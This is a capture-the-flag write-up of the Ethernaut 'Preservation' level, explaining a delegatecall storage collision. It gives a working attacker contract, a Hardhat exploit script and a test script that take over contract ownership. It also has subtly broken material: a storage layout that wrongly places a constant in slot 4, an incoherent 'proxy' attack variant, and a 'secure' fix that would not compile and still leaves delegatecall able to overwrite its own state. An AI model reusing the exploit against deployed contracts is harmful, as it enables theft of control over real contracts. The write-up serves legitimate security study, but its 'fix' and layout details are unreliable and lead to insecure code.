Preservation Challenge - Ethernaut Level 16
Challenge Description
Challenge Goal
Claim ownership of the Preservation contract instance by exploiting delegatecall and storage layout vulnerabilities. You need to understand how delegatecall preserves context and how storage variables are accessed.
Challenge Instructions
Goal: This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored. The goal of this level is for you to claim ownership of the instance you are given.
Things that might help:
- • Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
- • Understanding what it means for delegatecall to be context-preserving.
- • Understanding how storage variables are stored and accessed.
- • Understanding how casting works between different data types.
The Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}Understanding the Contract
Let's break down how this contract works:
- State Variables: The contract has five state variables:
timeZone1Library(address): Address of the first timezone librarytimeZone2Library(address): Address of the second timezone libraryowner(address): The contract ownerstoredTime(uint256): A timestamp storage variablesetTimeSignature(bytes4): Function signature for setTime
- Constructor: Sets up the two library addresses and sets the deployer as owner
- Functions: The contract has two functions:
setFirstTime: Uses delegatecall to call setTime on timeZone1LibrarysetSecondTime: Uses delegatecall to call setTime on timeZone2Library
The vulnerability lies in understanding how delegatecall works and how storage layout affects the execution context.
Understanding Delegatecall
Delegatecall is a low-level function that allows a contract to execute code from another contract while preserving the original contract's context:
Key Properties of Delegatecall
- Context Preservation: The code executes in the context of the calling contract
- Storage Access: The called contract accesses the storage of the calling contract
- msg.sender: Remains the original caller, not the calling contract
- Storage Layout: Storage slots are accessed based on the calling contract's layout
Storage Layout Analysis
// Preservation contract storage layout:
Slot 0: timeZone1Library (address) - 20 bytes, padded to 32 bytes
Slot 1: timeZone2Library (address) - 20 bytes, padded to 32 bytes
Slot 2: owner (address) - 20 bytes, padded to 32 bytes
Slot 3: storedTime (uint256) - 32 bytes
Slot 4: setTimeSignature (bytes4) - 4 bytes, padded to 32 bytes
// LibraryContract storage layout:
Slot 0: storedTime (uint256) - 32 bytes
// When delegatecall is used, the library's setTime function
// will write to slot 0 of the Preservation contract's storage,
// which is timeZone1Library, not storedTime!The Vulnerability
The vulnerability is a storage layout collision between the Preservation contract and the LibraryContract:
- Storage Mismatch: The library's
storedTimeis at slot 0, but the Preservation contract'sstoredTimeis at slot 3 - Delegatecall Context: When the library's
setTimefunction executes via delegatecall, it writes to slot 0 of the Preservation contract - Owner Overwrite: Slot 0 in the Preservation contract is
timeZone1Library, notstoredTime - Exploitation Path: We can overwrite
timeZone1Librarywith our malicious contract address
The Exploit
To exploit this contract, we need to:
Steps to Exploit:
- Deploy a malicious contract that has the same storage layout as the library but with a malicious
setTimefunction - Call
setFirstTimewith our malicious contract's address to overwritetimeZone1Library - Call
setFirstTimeagain to execute our malicious code and claim ownership
Malicious Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PreservationAttack {
// This must match the storage layout of LibraryContract
uint256 storedTime;
// This function will be called via delegatecall
// It will write to slot 0 of the Preservation contract
function setTime(uint256 _time) public {
// The _time parameter will be our address
// We need to cast it to address and store it
address newOwner = address(uint160(_time));
// Assembly to directly write to storage slot 2 (owner)
assembly {
// Store the new owner at storage slot 2
sstore(2, newOwner)
}
}
}Understanding the Attack
The attack works because of how delegatecall and storage layout interact:
// Attack flow:
// 1. Deploy PreservationAttack contract
// 2. Call setFirstTime(attackContractAddress)
// - This calls LibraryContract.setTime via delegatecall
// - LibraryContract.setTime writes to slot 0 of Preservation
// - This overwrites timeZone1Library with our attack contract address
// 3. Call setFirstTime(anyValue) again
// - This now calls our attack contract's setTime via delegatecall
// - Our setTime function writes to slot 2 (owner) of Preservation
// - We become the owner!Complete Exploit Script
// Complete exploit script
const { ethers } = require("hardhat");
async function main() {
const preservationAddress = "INSTANCE_ADDRESS";
console.log("Preservation address:", preservationAddress);
// Deploy the attack contract
const PreservationAttack = await ethers.getContractFactory("PreservationAttack");
const attackContract = await PreservationAttack.deploy();
await attackContract.deployed();
console.log("Attack contract deployed at:", attackContract.address);
// Get the current owner
const preservation = await ethers.getContractAt("Preservation", preservationAddress);
const initialOwner = await preservation.owner();
console.log("Initial owner:", initialOwner);
// Step 1: Overwrite timeZone1Library with our attack contract address
console.log("Step 1: Overwriting timeZone1Library...");
const attackAddress = ethers.BigNumber.from(attackContract.address);
const tx1 = await preservation.setFirstTime(attackAddress);
await tx1.wait();
console.log("timeZone1Library overwritten!");
// Verify the overwrite
const newLibrary = await preservation.timeZone1Library();
console.log("New timeZone1Library:", newLibrary);
// Step 2: Call setFirstTime again to execute our malicious code
console.log("Step 2: Executing attack...");
const tx2 = await preservation.setFirstTime(0); // Any value works
await tx2.wait();
console.log("Attack executed!");
// Verify the attack worked
const finalOwner = await preservation.owner();
console.log("Final owner:", finalOwner);
const playerAddress = await ethers.getSigner().getAddress();
if (finalOwner === playerAddress) {
console.log("✅ Successfully became the owner!");
} else {
console.log("❌ Attack failed");
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});Understanding Storage Layout in Detail
The key to this exploit is understanding how storage layout works:
Storage Slot Calculation
// Storage layout comparison:
// Preservation contract:
// Slot 0: timeZone1Library (address)
// Slot 1: timeZone2Library (address)
// Slot 2: owner (address)
// Slot 3: storedTime (uint256)
// Slot 4: setTimeSignature (bytes4)
// LibraryContract:
// Slot 0: storedTime (uint256)
// When LibraryContract.setTime is called via delegatecall:
// - It thinks it's writing to its own storedTime (slot 0)
// - But it's actually writing to Preservation's timeZone1Library (slot 0)
// - This creates a storage collision!Assembly Code Explanation
The assembly code in our attack contract directly manipulates storage:
// Assembly code breakdown:
assembly {
// sstore(2, newOwner) - Store newOwner at storage slot 2
// Slot 2 in Preservation contract is the owner variable
sstore(2, newOwner)
}
// This bypasses any access controls and directly writes to storage
// It's equivalent to: owner = newOwner;Alternative Attack Vectors
There are several ways to exploit this contract:
Method 1: Direct Storage Manipulation
// Attack contract with direct storage manipulation
contract PreservationAttack {
uint256 storedTime;
function setTime(uint256 _time) public {
// Cast the input to an address and store it at slot 2
address newOwner = address(uint160(_time));
assembly {
sstore(2, newOwner)
}
}
}Method 2: Using a Proxy Pattern
// Alternative attack using a proxy pattern
contract PreservationProxy {
uint256 storedTime;
address public target;
constructor(address _target) {
target = _target;
}
function setTime(uint256 _time) public {
// First, set the target contract
target = address(uint160(_time));
// Then call the target to claim ownership
(bool success,) = target.call(abi.encodeWithSignature("setTime(uint256)", _time));
require(success, "Call failed");
}
}Testing the Exploit
You can test the exploit using various tools:
Using Remix IDE
- Deploy the Preservation contract with two LibraryContract instances
- Deploy the PreservationAttack contract
- Call
setFirstTimewith the attack contract's address - Call
setFirstTimeagain with any value - Check that the owner has changed
Using Hardhat
// Test script
const { ethers } = require("hardhat");
async function testPreservation() {
// Deploy library contracts
const LibraryContract = await ethers.getContractFactory("LibraryContract");
const lib1 = await LibraryContract.deploy();
const lib2 = await LibraryContract.deploy();
// Deploy preservation contract
const Preservation = await ethers.getContractFactory("Preservation");
const preservation = await Preservation.deploy(lib1.address, lib2.address);
// Deploy attack contract
const PreservationAttack = await ethers.getContractFactory("PreservationAttack");
const attack = await PreservationAttack.deploy();
console.log("Initial owner:", await preservation.owner());
// Execute attack
await preservation.setFirstTime(attack.address);
await preservation.setFirstTime(0);
console.log("Final owner:", await preservation.owner());
}
testPreservation();Security Lessons
- Storage Layout: Always ensure storage layout compatibility when using delegatecall
- Delegatecall Dangers: Delegatecall can be dangerous when storage layouts don't match
- Library Security: Libraries should be carefully designed to avoid storage conflicts
- Access Controls: Direct storage manipulation can bypass access controls
- Context Preservation: Understand that delegatecall preserves the calling contract's context
Prevention
Here's how you could improve this contract to make it more secure:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract SecurePreservation is Ownable {
// Use a struct to group related data
struct TimeZone {
address library;
uint256 storedTime;
}
TimeZone public timeZone1;
TimeZone public timeZone2;
event TimeSet(uint256 indexed timezone, uint256 timestamp);
constructor(address _timeZone1Library, address _timeZone2Library) {
timeZone1.library = _timeZone1Library;
timeZone2.library = _timeZone2Library;
}
// Use a more secure approach with explicit storage mapping
function setFirstTime(uint256 _timestamp) external {
// Validate the library exists
require(timeZone1.library != address(0), "Library not set");
// Use a more secure delegatecall pattern
(bool success, bytes memory data) = timeZone1.library.delegatecall(
abi.encodeWithSignature("setTime(uint256)", _timestamp)
);
require(success, "Delegatecall failed");
// Update our storage explicitly
timeZone1.storedTime = _timestamp;
emit TimeSet(1, _timestamp);
}
function setSecondTime(uint256 _timestamp) external {
require(timeZone2.library != address(0), "Library not set");
(bool success, bytes memory data) = timeZone2.library.delegatecall(
abi.encodeWithSignature("setTime(uint256)", _timestamp)
);
require(success, "Delegatecall failed");
timeZone2.storedTime = _timestamp;
emit TimeSet(2, _timestamp);
}
// Add getter functions
function getFirstTime() external view returns (uint256) {
return timeZone1.storedTime;
}
function getSecondTime() external view returns (uint256) {
return timeZone2.storedTime;
}
}The improved contract:
- Uses OpenZeppelin's Ownable for secure ownership management
- Groups related data in structs to avoid storage conflicts
- Explicitly updates storage after delegatecall
- Adds proper error handling and events
- Includes validation for library addresses
Alternative Solutions
For applications that require library functionality, consider:
- Storage Libraries: Use libraries that don't have their own storage
- Proxy Patterns: Use established proxy patterns with proper storage management
- Interface Contracts: Use interfaces instead of delegatecall when possible
- Storage Gaps: Use storage gaps to prevent layout conflicts
- Upgradeable Contracts: Use established upgradeable contract patterns
Conclusion
The Preservation challenge is an excellent lesson in understanding delegatecall and storage layout vulnerabilities. It demonstrates how seemingly innocent library usage can lead to critical security flaws.
The key takeaways are:
- Delegatecall Context: Delegatecall preserves the calling contract's context, including storage
- Storage Layout: Storage layout mismatches can lead to critical vulnerabilities
- Library Security: Libraries must be carefully designed to avoid storage conflicts
- Assembly Dangers: Direct storage manipulation can bypass security controls
- Defense in Depth: Multiple layers of security are needed to prevent such attacks
When designing contracts that use delegatecall, always ensure storage layout compatibility and consider using established patterns and libraries to avoid common pitfalls.